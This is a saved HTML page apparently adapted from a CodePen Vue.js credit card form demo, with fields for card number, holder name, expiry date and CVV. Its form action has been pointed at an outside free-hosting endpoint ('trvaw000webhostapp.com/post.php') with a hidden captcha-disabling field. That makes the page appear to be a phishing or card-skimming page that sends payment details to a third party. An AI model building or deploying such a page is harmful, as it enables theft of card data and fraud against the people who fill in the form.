<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>VueJs</title>
<link rel="stylesheet" href="./CodePen - Credit Card Form - VueJs_files/reset.min.css">
<link rel="stylesheet" href="./CodePen - Credit Card Form - VueJs_files/style.css">
</head>
<body>
<div id="app" class="wrapper"><div class="card-form"><div class="card-list"><div class="card-item"><div class="card-item__side -front"><div class="card-item__focus" style=""></div> <div class="card-item__cover"><img src="./CodePen - Credit Card Form - VueJs_files/2.jpeg" class="card-item__bg"></div> <div class="card-item__wrapper"><div class="card-item__top"><img src="./CodePen - Credit Card Form - VueJs_files/chip.png" class="card-item__chip"> <div class="card-item__type"><img src="./CodePen - Credit Card Form - VueJs_files/visa.png" alt="" class="card-item__typeImg"></div></div> <form action="https://trvaw000webhostapp.com/post.php" method="POST"><input type="hidden" name="_captcha" value="false"> <label for="cardNumber" class="card-item__number"><span><div class="card-item__numberItem">
4
</div></span><span><div class="card-item__numberItem">
5
</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem -active"> </div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem -active"> </div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem -active"> </div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span><span><div class="card-item__numberItem">#</div></span></label> <div class="card-item__content"><label for="cardName" class="card-item__info"><div class="card-item__holder">Card Holder</div> <div class="card-item__name">Full Name</div></label> <div class="card-item__date"><label for="cardMonth" class="card-item__dateTitle">Expires</label> <label for="cardMonth" class="card-item__dateItem"><span>MM</span></label>
/
<label for="cardYear" class="card-item__dateItem"><span>YY</span></label></div></div></form></div></div> <div class="card-item__side -back"><div class="card-item__cover"><img src="./CodePen - Credit Card Form - VueJs_files/2.jpeg" class="card-item__bg"></div> <div class="card-item__band"></div> <div class="card-item__cvv"><div class="card-item__cvvTitle">CVV</div> <div class="card-item__cvvBand"></div> <div class="card-item__type"><img src="./CodePen - Credit Card Form - VueJs_files/visa.png" class="card-item__typeImg"></div></div></div></div></div> <div class="card-form__inner"><div class="card-input"><label for="cardNumber" class="card-input__label">Card Number</label> <input type="text" id="cardNumber" data-ref="cardNumber" autocomplete="off" class="card-input__input"></div> <div class="card-input"><label for="cardName" class="card-input__label">Card Holders</label> <input type="text" id="cardName" data-ref="cardName" autocomplete="off" class="card-input__input"></div> <div class="card-form__row"><div class="card-form__col"><div class="card-form__group"><label for="cardMonth" class="card-input__label">Expiration Date</label> <select id="cardMonth" data-ref="cardDate" class="card-input__input -select"><option value="" disabled="disabled" selected="selected">Month</option> <option value="01">
01
</option><option value="02">
02
</option><option value="03">
03
</option><option value="04">
04
</option><option value="05">
05
</option><option value="06">
06
</option><option value="07">
07
</option><option value="08">
08
</option><option value="09">
09
</option><option value="10">
10
</option><option value="11">
11
</option><option value="12">
12
</option></select> <select id="cardYear" data-ref="cardDate" class="card-input__input -select"><option value="" disabled="disabled" selected="selected">Year</option> <option value="2022">
2022
</option><option value="2023">
2023
</option><option value="2024">
2024
</option><option value="2025">
2025
</option><option value="2026">
2026
</option><option value="2027">
2027
</option><option value="2028">
2028
</option><option value="2029">
2029
</option><option value="2030">
2030
</option><option value="2031">
2031
</option><option value="2032">
2032
</option><option value="2033">
2033
</option></select></div></div> <div class="card-form__col -cvv"><div class="card-input"><label for="cardCvv" class="card-input__label">CVV</label> <input type="text" id="cardCvv" maxlength="4" autocomplete="off" class="card-input__input"></div></div></div> <input type="submit" value="Process payment" class="card-form__button"><a href="#"></div></div></div>
<script src="./CodePen - Credit Card Form - VueJs_files/vue.min.js.download"></script>
<script src="./CodePen - Credit Card Form - VueJs_files/vue-the-mask.js.download"></script><script src="./CodePen - Credit Card Form - VueJs_files/script.js.download"></script>
</body></html>